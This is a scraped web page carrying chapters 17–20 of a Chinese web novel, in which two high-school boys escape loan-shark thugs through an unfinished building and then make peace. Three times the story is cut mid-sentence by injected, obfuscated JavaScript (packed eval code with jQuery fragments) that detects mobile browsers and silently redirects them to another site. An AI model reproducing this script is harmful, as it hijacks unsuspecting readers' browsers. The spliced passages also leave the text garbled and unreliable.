他以前没这么爱学习的,家里只会说:好好读书,考上大学就好了。 可考上大学,是怎样一个好法呢?是直接发钱?还是能分配年薪百万的工作呢? 太空旷、太茫然了,那个所谓的“就好”。 但是老杨说:分考高点,就是在赚钱。 同样是600分,别人要买个学区房、上补习班,你不用,你就立省10万8万,算是倒赚。还有那些无形的教育资源、国家补贴,普通大学一顿午饭8块,名校只要2块7毛,甚至能吃得更好…… 所以冲着那具体的“2块7毛”,方笑贻在学了。 当状元,他从小就没显现出那种才能,但说到赚钱,他却是可以锲而不舍、当牛做马的。 7点32分,席子又给他发了消息。 [席子]:图片.jpg [席子][4s]:有人在斗殴诶,好像是修车巷子那几个搞诈骗的 [席子][3s]:我去有点激烈哦,还带家伙了 [席子][2s]:来看不嘛 但是方笑贻静音了,没看到,正跟着视频在和尚念经:“空集是任何集合的子集;空集是任何非空集的真子……” 直到几分钟后,一条人影忽然冲开门帘,兵荒马乱地才打断了他。 “……嗬呃……方……” 滋啦—— “诶唷我靠!” 方笑贻从学海里一抬头,就见唐悦在左边门框那里,歪着踉跄了进来,防蚊的帘子也被他带垮了半拉。 然后,这位上气不接下气地破坏份子一撑冰柜,仓皇又苍白地对他说:“嗬……方笑贻……救、救人命了……” 方笑贻顿时一愣,立刻往他背后瞟了下。 但他背后没有人。 * 地上全是建筑垃圾,破砖块、石子和烂了的绿色防护网。 前面黑洞洞的楼房里没有灯,也没有窗户,有一部分,好像连外墙都没有。 这是哪里,边煦已经完全分不清楚了。 但孙竞东逃着翻进了这里,而背后还有6个黑影在追他。 “艹尼玛的。” “他到底拿什么打了劳资啊!碰上就是一血窟窿。” “煞笔跑快点,给我把他按住!” 边煦把手环的皮筋捏在左手心里,回过头,眼神冷得像结了冰渣。 都怪这些人,他明明都已经按住了孙竞东这个狗日的。 可是他说,他爸死了,死好几年了。 边煦一愣神,才被他挣翻跑了。 可死了有什么好跑的?除非人是他杀的,或者他依然在撒谎。 边煦左脚往垃圾上一踩,地上的砖粒不稳,立刻“夸嚓”出一声碎响。可他把重心往后一压,猛地转身,冲向了那栋黑黢黢的大楼。 17.第17章 第17章 救人命?边煦的命吗? 可唐悦看着,更要先喘死了的感觉。 方笑贻虽然满头雾水,但看他这个样子,还是站起来了,说:“你,先喘口气。” 唐悦摆了摆手,嗓子眼里糊了辣椒面似的灼痛。 “我、我这个气,嗬、三两分钟、是喘不匀了,你、你别管我了,去帮煦子吧。” “帮?”这字烫嘴似的,把方笑贻都整得差点磕巴,“……怎么帮?帮什么?” “……”唐悦跟他面面相觑,“他、他说你知道,到哪里找他的啊。” 他知道个屁呀。 方笑贻说:“我不知道。” 唐悦难以置信地盯了他几眼,脸色才突然一变,脱口而出道:“靠,这个猪!” 他被骗了。 边煦是为了支开他,才叫他来找方笑贻的。 自己来了,可这里没有援手,只有骗局,那他呢?当时追他的人,可是有一串的。 唐悦心里又急又气,转身一步又出去了。 但出去了一只脚,他忽然又拧回来,欠身把方笑贻一抓,说:“走,你对这里熟悉,你、你跟我一起去。” 方笑贻被他拉得往前一倾,瞬间就本能地往后别了下。 他为什么要去?他连状况都没搞清楚。 唐悦立刻也察觉到了他的抗拒,眼皮微微一紧。 “我,”方笑贻看着他的脸,手上没用力了,只说,“我这儿脱不开身。” 这就是不想去。 唐悦不傻,看他的眼神立刻就变审视了。 平时,他们都用这种时刻,来筛选一个人值得交往的程度。 遇到事了,掉头后退的,径直扫进垃圾堆。 “你真的不去吗?”唐悦盯着他,最后确认了一遍。 这一瞬间,他褪去了那种嘻哈的活泼,是边煦朋友的那种高傲感一下就出来了,看自己的眼神堪称鄙视。 方笑贻心想:自己大概真的是有点自卑的,否则怎么会总是,对这种鄙视这样不爽呢? 自己欠他们什么吗?求人帮忙,还甩脸色?人上人,真不得了。 方笑贻一眼不错,直视着他说:“不去。” “行,你牛笔你无情!”唐悦气一上来,喘的气都被顶匀了些,他把方笑贻的手腕一甩,腾出手指,指着他说,“我唐悦TM的记住你了。” 方笑贻张了下嘴,刚想说:有这功夫放狠话,还不如抓紧去找人。 唐悦转身就跑了,只剩垮掉半拉的门帘,在虚空里摇晃。 方笑贻看着它晃来晃去的,明明没有风,可它总是不停。 * 唐悦气冲冲的,又冲回了那个打牌的巷子。 巷子里的墙边、门边,也依旧倚着那些,穿吊带小衫和超短裤的小中老姐姐。 但是那个打牌的屋子敞着,扑克也摊在桌上,可是人,却毛也没有一根了! “喂?人呢?有人吗?”唐悦在屋里喊了好几声,没有人应。 他只好出来,跑到站的最近的那个蓝色眼影大姐面前说:“诶美女,姐姐,刚刚那屋子里的人,都去哪儿了啊?” 那女人却只从D音里抬起眼帘,意味深长地看着他笑道:“哪有那什么人呀?弟弟,耍不耍~?” 耍个屁啊! 唐悦心急如焚,又换了个女的问。 这个倒是没叫他耍,但她说要100块钱。 唐悦立刻给她了,可顺着她的指向跑了半天,才发现她是瞎说的,边煦压根没经过这里。 唐悦脸色瞬间铁青。 难道……刚刚在方笑贻那里当舔狗,才是这个破地方的正确打开方式? 啊啊啊啊要疯了! * 这一夜无星无月,但有吃瓜群众。 烂尾楼这片堆了很多建渣,别的地儿倒过来的,因此地面别处高。 席子蹲在烂砖坡边上,旁边的老哥,还给了他一把花生,就是没味道。他一边剥,一边听旁边的人说。 “妈了个巴子的,以后可不敢惹酒鬼了。” “他一个叼毛,有啥惹不起?” “叼个蛋啊,他都鲨人啦。” “噗,他?那手抖的,也就杀个鲫鱼。” “你还别不信!人家问他我爸呢,他说死了,那小伙当场没把他宰啰,他八成是把人家的爸害死了。” “害死和鲨人能一样吗我真的迷醉,你上过学没有?” “咋没上过?” “谣言哥”一叫嚣,瓜就出现了一个缝隙。 席子立刻插了进去,他说:“来,哥,吃花生,什么酒鬼?跟酒鬼有啥关系啊?” 他是看见老哥群里的消息后,才过来的,因此错过了前面的瓜。 席子说:“刚抄着水管在这旮跑的,不是修车巷放贷的宋大……老板他们嘛?” “谣言哥”接过他的花生,整个扔了颗进嘴里:“啧,啊噗诶!酒鬼在前头的嘛,宋大肚碰上他挨打,给他出头,也被打伤了。这会气得要死,把人逼进这楼里,好家伙,不挨打,那就只能跳楼喽——” 放贷的那一伙的都歹,眼一瞪,凶得很。 席子一想头皮就有点发紧,舔了下嘴皮说:“那……不是搞大啦?要不要,报警哦。” “报屁呀你个憨子,”群众里立刻有人说,“警察把宋大肚抓进去,他出来了再把你叼一顿,到时你的雷锋精神能变成不灭金身啊?老实待着!” 席子一想也是,只好心有戚戚地蹲在原地,看着偶尔的手机灯光,在那栋楼上鬼火一样闪现。 片刻之后,一辆小电瓶,停在了破边那烂了半拉的水泥挡土墙后面,它慢悄悄的,坡上没人发现。 * 这应该是一幢烂尾楼,里头黢黑,楼梯也没装栏杆。 但孙竞东一进这里,居然像泥牛入海,边煦跑了3层楼,愣是没看见他的踪影。 他跑得能有这么快吗?边煦确定他没有,但他就是不见了。 这里肯定有点什么猫腻,但边煦也无暇探究了,因为那个大肚子的人不像他,需要挨间挨户地找人,只管蹭蹭地爬楼梯。 这会,他们楼上楼下、左边两边,都有人了。 “哈哈,他在那里!我看到了。” “小比崽子,你再跑啊,逮到了我TM不打断你的腿!” 他们兴奋得很,也迅速夹抄而来。右边还有人拿着根棍子,在水泥栏杆上“邦邦”地敲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269710|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那动静,脆而沉钝,分明是铁的。 边煦被困在4层的走廊中间,心里却没觉得害怕,只有怨恨。 他离他想要听的,明明只剩一步了,只需要再问几句,几句而已。可是这些人,几句都不等! 可能是跑得太猛了,边煦太阳穴抽得极重,他前额那块也痛,还凉飕飕的。但他心里的戾气却像喷发的火山,让他右手一捏钨珠,绷直了皮筋,就朝左边冲了过去。 对面,两人也不知道是谁,原本冲得还挺带劲。 但看他这个狂奔的姿态,又一想他那根恐怖的皮筋。 一弹,水泥地上都能砸个坑,这黑灯瞎火的,要是弹中眼睛,当场不TM爆浆了? 两人心有戚戚,当即就有点却步。 但很快,左边那个壮硕的就一提手里的铁水管,边跑边在身前劈砍。 他就不信了,挨抽这小子还不躲! 然而边煦就是没躲,他专注起来,是可以十分专注的,能做到只看这个男人的…… 两相逼近,水管破风的呼啸隐隐入耳,同时,边煦的皮筋也拉到了极致。 危险像一个熟爆的浆果,亟待在这个剑拔弩张的黑夜里爆开。 可下一秒,一块门板猛然从框里旋出来,陡然切断了双方的视线。 门后面乍起一声惊叫:“艹,啥玩意儿?” 但在门这边,边煦却在门后面,看到了一个人影。 他……把T恤领口,揪到了头顶上,脸上还有一个浅色的口罩。可其实又没能挡住什么,因为那个眼型。 杏核状,还挺亮,边煦看出来了,是方笑贻的。 只是他神出鬼没的,是几时藏在这屋里的? 边煦因为太惊讶,连含恨都不由断了下片。 然后这一断,他就看见方笑贻狠狠瞪了他一眼。 “傻了是吧?” 方笑贻看他太来气了,自己火烧屁股地翻半天墙,他在这里发痴呆,这不是有病是什么? 不过,他俩都有。 方笑贻忍着翻白眼的冲动,把门又用力往后一顶,然后粗起嗓门喝道:“跑啊!” 边煦倏然回过神,也不知道往哪儿跑,但还是附和:“好。” 方笑贻闪身就回了屋里。 这里的房间,边煦进去看过,是那种很小的安置房,一室一厅,也没有阳台,走廊就是它的阳台。 所以进去了,更没路可走。 但方笑贻都进去了,边煦出于一种朴素的直觉,也抬腿就是冲。 方笑贻进了屋,也不拐弯,直奔这间里唯一的窗户,它还没封,用毛剌剌的边框直接室外。 但方笑贻几个箭步过去,就双手扒住两边,抬起右腿踩了上去。 这里,是4楼的外墙边缘。 边煦心脏霎时被什么提了下似的,有点拉扯,但他没吭声,怕吓到这个人,只抢步过去,拿手抓住了他右边的大臂。 方笑贻刚要跃上窗台,膀子忽就被攥紧了。 他拿余光往右一瞥,见边煦黑黢黢地杵在墙后面,但那个影子,是一个防护的姿态。 方笑贻心里蓦然一软,低声而飞快地对他说:“没事,松手,跳。” 说完跃起往下一跳,不见了。 18.第18章 下面居然有个平台,而且它还不在3楼,在神奇的3楼半上。 怪不得孙竞东能“消失”。 边煦轻松地落在上面,抬头一看,那什么宋老板的人刚刚扑到窗边,正在打手机电筒。 “卧勒个大槽!咋跳、跳下去啰?” “跳毛!他俩在那儿,下去!” “你先下。” 边煦再又转过头,看见这平台是窄窄的一条,逼仄地夹在两栋中高层之间,像是某种一线天的谷底。 而方笑贻在这个“谷底”里,一溜烟地往东下了一截台阶,并又把T恤拉到了头顶上。刚刚那一跳,它掉下去了。 可能是不想被人看见,惹麻烦。 边煦心里明白,也不多余跟他说话,只撵着他,翻进了对面这栋毫无楼间距可言的楼。 这一栋,跟方才那栋区别也不大。但里头居然有咳嗽声,像是有人住。 边煦一听,找孙竞东的心思又活了下,登时偏离“航线”,在有咳嗽声的房间门口凑了一眼。 这一间没有门,里头的木板上躺着个人影,正面朝外在玩手机,脸上一片绿光。 不是孙竞东。 “干嘛?”对方见门口冒出个黑影,立刻也警惕地问了一声。 边煦侧眼,见方笑贻在前面两三米回了下头,但没等他。 如果这会是白天,边煦心想:前面肯定是一张臭脸。 但找边扬是他的执念,边煦还是回过头,但飞快地说:“哥,我找人,刚刚有人路过这里吗?” “哦,那没有诶。”里头的哥倒是挺和蔼。 “好的,谢谢哥。”边煦说着,才跟着方笑贻跑了。 方笑贻头也不回地在前面走,耳朵却竖着在,听他一边逃命,一边还有心情打听,心里登时把已经得出来的结论,又巩固了一遍:边煦是个大煞笔,他也…… 算了,社会已经够毒辣了,放过自己。 好在边煦没再遇到可打听的人,老实跟着他横穿而过,再往下,从1层楼梯间的窗户里翻了出来。 出来之后,方位跟进去时就不一样了,像是换到了背面。 方笑贻做完好事不留姓名,踩着瓦砾就猫下坡去了。 边煦回头看了眼这栋满目疮痍,但又能像玩《和平精英》一样上蹿下跳的破楼,自觉也没能耐,在这里翻出孙竞东来,只好一垮脊背,也走了。 下了坡,方笑贻才把T恤拉下来,又拂拉了几下灰,开始赶他:“行了,你玩儿去吧。” 他又不是来玩的,边煦说:“你呢?” “我回家啊,不然去哪儿?”方笑贻一撩眼皮,“也去找个地方,挨夜打啊?” 他阴阳怪气的,但是边煦没觉得不爽了,人家刚刚这种行为,已经远远超过他俩的交情了。 边煦心里不解,又有点……感动,说:“我跟你一起走。” “别,”可方笑贻不想带他,“你惹一摊子麻烦,离我远一点。” 边煦顿了下:“你楼都带我跳了,也不差这点了,一起走吧。” 方笑贻也被他顶得一哽,为这好锤子一针见血的一句话。 边煦见他不吭声,只好摸出个口罩戴上了,说:“这样,总行了吧?” 方笑贻还是很坚决:“不行。” 但边煦那个腿,不听他的话,嘴也不听,他先拿起手机敲了一阵,然后就开始旁边啰嗦:“大晚上的,你怎么在这里?” 可他越缠着自己,方笑贻就越想翻悔。 他拒绝了唐悦,又跑到这里来,身心已经够拉锯了。所以,与其说是不想看见边煦,更像是对自身心口不一的恼怒。 可是,可是边煦很另类,就像一个版本不同的他—— 但这种搅合是不应该的,网上有句很流行的话,叫不要参与别人的因果,而他家里的麻烦也已经够多了。 方笑贻来去匆匆,越走越快,也不吭声。 但边煦的腿也不比他短,一直并在旁边,温温吞吞地催:“问你呢。” 还催了3遍。 方笑贻甩不掉他,终于不耐烦了,开始怼他:“你不也在吗?” 边煦说:“我在这里找人,他叫孙……” 方笑贻立刻打断:“别说,我不想听。” 这搁别人,早都巴巴地问了,他却好像没有好奇心一样。 边煦眉梢疑惑地一动:“为什么?送上门的八卦都不听吗?” 方笑贻消化不良地看了他一眼:“你别对我这么殷勤行不行?有点子在烂尾楼中邪了的感觉。” 边煦:“……” 他心情本来挺烂的,但这话又莫名戳中了他的笑点。 对他不客气,他要生气,对他好,他又发毛,总之就是难搞。 边煦扯了下嘴角,说:“不至于,我只是想问你打听一点孙、酒鬼的事。” 他是个固执的人,自己不答应,他肯定瞎搞。 方笑贻想了下:“打听可以,但别在这里,回学校了再说,或者你加我V信。不过我放假没工夫回消息,而且,对酒鬼的了解,也不会比街上的任何一个人多,这样你还要打听吗?” 边煦点了下头,但心里门儿清。 就方笑贻在那楼里神出鬼没的架势,他对本地的了解程度,绝对是吊打宋老板那帮人的,不了解只是他的借口。 方笑贻见他这么说,只好翻出二维码,给他扫了下。 但扫出来的id不是[重生之我是中国首富],而是[四海大富翁]。 这肯定是个小号,但边煦没有挑三拣四。 加完V信,方笑贻直奔小电瓶,准备回店里去,他来得仓促,只锁了个店门。 可谁知钥匙还没插进孔里,后座就忽然往下一沉,有大爷不请自来。 方笑贻烦死了,一晃车身,压着声音骂道:“下去,谁让你上来的?” 边煦给唐悦去完消息,又把头往右边一歪,一边在车上找踏脚,一边说:“走吧,跑了半晚上,有点累了。” 方笑贻先被他这个理直气壮的样子气笑了,又说:“是我让你跑的吗?” 边煦为了不跟他话赶话地又掐上,只好战术性地拖了下语调:“不是…但你好事做到底,行行好吧,好吗?” 当他不跟自己对掐了,那态度居然能很软和,跟对方雪晴差不多,但又多了点祈求和讨好。 有那么一点,他侄儿撒娇的神韵。 方笑贻不得不怔在了夜色里。 撒娇怪,都很恐怖的,百炼钢都能整服了,他…… 但这动摇又很没道理,方笑贻只好拧着眉毛,硬想了一个理由出来,他说:“就算你是打了个摩的,10块。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276882|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 边煦服的五体投地:“给、给、给。走。” 今夜其实没什么风,但车开起来后,气流还是拂动。 那种感觉很温柔,边煦惬意地眯着眼睛,心里却是一阵阵走神。 要是刚刚,方笑贻没有出现,自己瞄准的是哪里呢? 是头,左边那个男人的头—— 但自己这粒钨珠切片,是不能对着别人的头的,它纯度太高,只比穿.甲.弹略低一点。 那自己又是在干什么呢? 边煦脸上闪过茫然:是正在“边扬化”吗?那种理智尽失的瞬间,会变长吗? 那念头让他心脏下坠,有种掉落的错觉。于是他下意识伸手一抓,在方笑贻右胯旁侧,攥住了块T恤和运动裤的叠合料子,以及一块从指尖溜出去的皮肉。 方笑贻车开得好好的,右边大腿根外侧却忽然一紧。 痛倒算不上,只是那样突然,搞得他心里一突,垂眼就喊了句:“你是不是想……” 可他一不看路,方向感就偏了,车把跟着脑袋往右转,加上超载,当即明显倾倒。 边煦连忙撩腿下了地,方笑贻也赶紧回头,好不忙乱地把车撑稳了,又没少一顿掐。 边煦说:“……我没掐你。” 方笑贻有点恼火:“那你在干嘛?摸啊?” 边煦说:“那更不敢了,我就、扶一下,这车上没地方扶。” “有什么好扶的?”方笑贻完全不懂,“就这个乌龟都跑不过的垃圾速度。” 边煦觉得还是跑得过的,但他没拱火,只说:“行行行,不扶了。” 但不扶也晚了,方笑贻又开始嫌他烦了,把车一刹,叫他下车。 边煦不想走路,在车上犟了句:“你对我怎么总是这么不耐烦?” 可对于他俩,这明明是“双向奔赴”的事。 方笑贻一听就来劲了,从后视镜里找到他的脸,开炮说:“我当然不耐烦了,你还不认识就在路上瞪我,不到半天又抢我的位子,我抖M啊?我还对你耐烦。” 边煦:“……” 直到这一瞬间,他才终于意识到,一切水火不容的源头在哪了。 在那一眼上。 他哑然半晌,终于把额头往方笑贻背上一抵,啼笑皆非地笑了半天。 自己哧他,他还笑,还把脑壳抵自己身上,方笑贻懵了下,但那种闷笑的震动又还在传递,他就把肩胛骨往后一怼,刚要说:你又在发什么神经啊? 边煦却先忽然说:“来,下车。” 说着还伸手搭住了他的右肩,捏了下,然后从那里抬起头来说:“咱俩聊聊。” 方笑贻登时瞥见后视镜里,居然有一张……算得上莞尔的嘴脸。 有一说一,他好好用脸,其实还是能竞去选个男神什么的。 但方笑贻心里却有点发毛,他说:“聊什么?就这么聊。” “不,这样不好掏心掏肺,”边煦说着往前看了看,左手穿过他身侧,捏住钥匙往左一拧,“下来。” 这是什么小路凶杀案的台词。 方笑贻转头把他一瞥,心里的槽点还没浮上来,又看到了他那双还带笑的眼睛。 那个凌厉的尖内眼角,以及琥珀茶汤一样的瞳色,方笑贻一下没想起来是谁,但又无端有种印象:他有点像谁。 19.第19章 但他终究没想起来,因为边煦很快就把他揪了下来。 “你再扯?我要发火了啊。”方笑贻边说,边失去了车屁股。 边煦却不由分说,一直推到他踩上右边的马路牙子,才看着他说:“那天,我瞪你了吗?” 方笑贻人才被推到路肩上,跟着又被气笑了:“你没瞪吗?” 边煦却真不太记得了,他当时已经气晕了,此刻只好迟疑:“……没怎么瞪吧?” 方笑贻感觉他俩在绕一种令人生气的口令:“你还想怎么瞪啊?” 那可能瞪的真是有点厉害,怪不得他给自己比中指呢。 边煦有种被回旋镖捅中的错觉:“没想,没想瞪你。” 方笑贻刚要反驳:装什么装。 边煦又说:“瞪一眼而已,我还不至于承认不起。” 方笑贻瞥了他一下,感觉也有点道理,可那个眼神又怎么解释呢? “那谁知道你了?”方笑贻甩开他的推搡,正对向他说,“说不定你是现在有求于我,诶?就装一下友好,想骗我对你掏心掏肺。” 边煦早知道会这样,所以才叫他下车,免得一会儿又吵翻车了。 可真听到他这大言不惭,嘴角还是没忍住一抽,说:“你有什么心肺可掏的?一掏,全是欠条,10块、30块的,就别担心这个了。” 方笑贻嘴角诡异地扭了扭。 边煦在骂他,没心没肺只认得钱,他要是还要脸,是不该笑的。只是这个“欠条”,是一种可以引为知己的传神。 于是一两秒后,方笑贻终究是没憋住,扯开视线笑了起来。 对面,边煦本来还在拧眉毛,可他一笑,那种发癫式的笑点就像某种传染病。 边煦跟着也侧起视线,又眨了两下眼帘,然后把嘴角也翘了起来。 “有这么好笑吗?”他说。 方笑贻还在笑,但是他说:“不好笑。” 然后一点雪粉似的碎屑落到他发梢上,顺带捎来了一丝桂花的香气。边煦抬起头,才看见头顶上方,是颗桂花树的伞盖。 趁他还高兴,边煦赶紧给他解释了一下,自己那天在四海,被人骗、被人偷、还被个胖子纠缠不休,心态崩了,所以对世界不友善。 而方笑贻一听,这些都发生在短短的3小时之内,也有点震撼了。 他说:“……你这个智商跟安全意识,是怎么考上‘第一’的?” 边煦无奈道:“不是有句话吗?叫人倒霉了,喝凉水都塞牙缝。” 这话把他从小骗到大,方笑贻早不信了,挖苦得很:“什么人?我怎么没见谁塞过?” 边煦闭了下眼睛,又睁开:“我,我这种智商和安全意识都不行的,行吗?” 方笑贻就又想笑了,那种看b-king吃瘪的爽感,他不知道谁懂? 边煦看他笑了又笑,愉快浓度超标了,就压了下羞耻感,说:“所以那天下午,对不起,然后今天晚上,也谢谢你。” 但他这样正儿八经,跟之前那种态度天差地别。 方笑贻不习惯,感觉太突兀了,也有点尴尬,很快滑开了目光:“都不至于,走吧。” 小电瓶再次负重上路,两人清了旧账,但也没能立刻就室友情深。 方笑贻还是沉默地开车,边煦在后面玩他的手机。 直到小电瓶慢腾腾地路过一道墙上的标语:[老唐东北人饭馆]前面右拐300米 方笑贻才一乜右眼,忽然说:“唐悦呢?他人还在这里吗?” “在的,”边煦没有抬头,但语气憋着一点笑意,“他现在网吧门口,骂你。” 方笑贻觉得他情商有点低:“……我在关心他,你说这个,不合适吧?” 边煦笑了一声,抬起头,把手机屏也朝后视镜竖了一下:“别急,没说完呢,我说你去救我了,他又给你道歉了。” 方笑贻不晓得他在嘚瑟什么,只好皱了下眉毛:“你到底想说什么?” “我想说的是,”边煦说着,把头往他左肩上方凑了凑,笑意浅而困惑,“我其实没有想到,你会真的过去帮我。” 方笑贻心说,我也没有想到。但嘴上,他不会做这么笨的事,他说:“你都叫唐悦来喊我救命了,我还能真的不去吗?” “救命”肯定是唐悦自己加的,他只说了来找。不过这是小细节,不重要,边煦看回镜片上:“那你怎么又把唐悦气走了?” 方笑贻脑筋挺快的,停都不带停地说:“我摆架子啊,还没摆完呢,他就跑了。” 可边煦看他的目光,却还是狐疑的。一个能在班会上卖货的人,又能多在乎别人的绑架呢? 不过边煦没再揣度了,人家最后去了,就该感恩发锦旗了。他点了下头,换了个话题:“对了,你是怎么知道我在那个楼里的?” 方笑贻是从席子那儿看的:“我们这儿有看热闹的群,群里说那边有人斗殴。” 边煦觉得自己该解释一下:“……我没斗殴,我只是在追孙竞东,也就是那个酒鬼。” 提起孙竞东,他刚想问:方笑贻知不知道,他可能跑到哪里去了? 方笑贻又问:“你追酒鬼,怎么跟宋大肚他们打起来了?” 一般来说,宋大肚子有“生产资料”,那些上套的笨蛋借款人会放血割肉地养他。他有点钱,不可能为了一个酒鬼,大半夜地去破地方跑酷。除非…… 边煦就说:“我在追孙竞东,他跳出来阻拦,我不小心,把他右手打伤了。” 方笑贻听得眼角一抽。 宋大肚子是个接近1米8,200斤带腱子肉的壮汉不说,他还有一溜小弟。而边煦尚未成年,体格还不够人家一拳的。 方笑贻实在想象无能:“你怎么打的?” 边煦其实不太想聊这个,但还是说:“用破窗器弹了一下。” “破窗器?”方笑贻想了想,“是公交和地铁门框上面,那种红色小锤子吗?” 那咋弹?不得锤吗? “不是,”边煦不知道他怎么想到那儿的,把左手往他身前一穿,“是这个。” 方笑贻垂眼一看,可他手上只有一个细硅胶腕带,就是他天天戴着的那个。 那就只能是这个了,可这带子能怎么破窗? 方笑贻实在费解得很,干脆一捏刹车,停在路边,再拨了下他这个手环,然后才发现,它底下是穿了个铁坨子的,很小,也就5、6毫米的纵宽,原理应该类似于弹弓。 方笑贻这会还以为,他是弹到了宋大肚的薄弱部位,裆或者头,人家痛急眼了,才追着要打他,赶上绿灯又亮了,他就没多研究,拧上油门过街了。 等车接近勤劳街,他就让边煦下车了。 这里离网吧还有几百米,不过边煦没挑剔了。 方笑贻要避嫌,他能理解,只是他一下车,这货就开始拧油门,边煦对这服务不太满意,拦了下他说:“摩的费,不要了啊?” 方笑贻把他手一拍开:“想都不要想,转我微信。” 边煦顿生感慨:“真不晓得我俩谁才是摩的师傅。” 只有少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287756|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷才会有这种癔症,而摩的师傅不用想都知道自己是谁。 方笑贻头也没回地说:“多转几回账,你就晓得了。” * 回店里的半道上,方笑贻碰到了唐悦。 唐悦左手里拿了个锅盔,正在啃,右手里还提了一个,看见他,还有点尴尬。 这种面不如不见,方笑贻假装没看见他。 可唐悦也是个厚脸皮,很快就斜穿过马路,过来把他拦住了,然后两手把锅盔夹着一捧,笑嘻嘻地拜了了两拜。 “方总~大方老板,对不起了真的。” 方笑贻右脚撑在地上,看着他这跟边煦表情不同,但目的一样的行为,心里忽然就在想:他们是不是都上过什么,“有错就认”的培训课之类的,道起歉来,毫不费劲的感觉。 不像他,人都见义勇为回来了,却压根不想别人提这事,因为他自己说了不去,结果又去了,有种自扇耳光的感觉。 这就是扭捏。 方笑贻心想:他是该跟这些人学一学,大方一点,他指精神上。 * 回到店里,王玉华居然在,也有个眼熟的老哥正在买烟。 “两包红梅,一瓶大水[1],之前挂的账也一起结了,”买着见他进来,又说,“耶?小弟,你不在店里,跑哪里去了?” 刚好唐悦给了他个锅盔,方笑贻就提了下说:“买吃的去了,哥最近发财了哈?” 他们的状态很好鉴别,兜里过百,烟就按包买,没有就按根,这里的烟也零卖,最便宜的5毛钱一根。 老哥呵呵呵地说:“发财,上哪儿发财哟?哥就只有做日结的命了,不像你娃,还会读点书,要好好读哦。” 方笑贻说好,等他付完钱走了,才对王玉华说:“你怎么来了?在家躺着嘛。” “诶呀躺不住了,人都躺硬了,”王玉华在后腰上锤了两下,“出来走走。” 方笑贻“嗯”了下,又把锅盔递给了她。 王玉华笑笑:“你自己吃。” “红糖的。”方笑贻说着把它放在了柜台上。 他从小就不吃红糖,王玉华才看了它一眼,纳闷地说:“这不是你自己买的吗?” 方笑贻说:“别人给的。” 这巷子里乱七八糟的人太多,王玉华忍了下,没忍住:“男的女的?” 方笑贻听出她的意思了,有点哭笑不得:“男的。” 但这里也有那种,娘娘腔腔的男的,比如那个蓝胖子。 王玉华还是不放心:“男的的东西,也不能随便接的。” “嗯嗯嗯,这我同学给的。”方笑贻应着,去后头把饭盒洗了。 洗完他出来理了下货,就跟王玉华回家去了。回去后他侄儿又黏黏的,叫他陪着洗澡,他就在小澡盆里,陪他捏了会儿小黄鸭。 等洗完回床上,就已经11点1分了,方笑贻一翻手机,看见边煦给他小号发了4条消息,他没看,先点开了那个新的好友申请。 [新陈代谢]:我是谢恒,班级建群,请通过~ 方笑贻通过了,谢恒正在激情冲浪,瞬间又给他甩了个群聊邀请。方笑贻又点进去,里头消息正在狂刷。 【强盛集团-榆高(1)班】 [新陈代谢][↑]:@所有人阅读本条通知:本月4日下午7点15分,外国语高一刘某同学,公然直播挑战做高考数学试卷,耗时100min,得分115。现[卷王之夜]战报已经六中、九中抵达我校,望本校有识之士,马俊者远驰,扬我校威! 20.第20章 [新陈代谢]:数学好的,冲啊! [小e]:班长上啊 [新陈代谢]:含泪顶上但顶不住,六中的状元据说参战了,数学的神啊降临吾班吧! [木子李]:好想好想为校争光,无奈实力不允许啊,要是比英语就好了[泪目] [UPC]:没事,程状元只是个区区的六边形战士 [什么都嗑已经害了我]:哈?.jpg [UPC]:但咱班,有尖角满分怪[墨镜] [可爱不多]:??? [厦天天]:来个大名,让我膜拜 [刘momo]:@新陈代谢班长怎么干活的?怎么人都还没进组织啊 [新陈代谢]:别吵,大佬一定在学习 [刘momo]一看就是刘丞丞,头像是一块手端的蛋糕,所以“人”指的应该是边煦。 可他不是在线吗?方笑贻退出去,把他那个贵妃醉酒状的小机器人头像点开了。 [边煦][22:09:16]:?10(你发起了一笔转账) [边煦]:唐悦跟我说了,你叫我明天别去那边[ok]那你帮我打听打听,酒鬼躲在哪了 [边煦][22:35:06]:不叫你白干 [边煦][23:00:23]:?100(你发起了一笔转账) 方笑贻囫囵一扫消息,跟着就把转账点了。打听他不一定会怎么打听,但收红包一定要快。 可谁知他刚一点,对面就弹了条消息出来。 [边煦]:? 他在线,但他不进班级群,多欠抽。 方笑贻也回:[?] 对面很快又回来一条。 [边煦]:红包现,蛟龙出哈 破梗。 方笑贻心说,并回了个表情:[谢谢老板,老板发大财.jpg] 又按住[唐悦]那条,回了个[收到]。 这一系列操作虽然没有感情、全是技巧,但基本还是挑不出错的。 但边煦还是从鸡蛋里挑了个骨头出来。 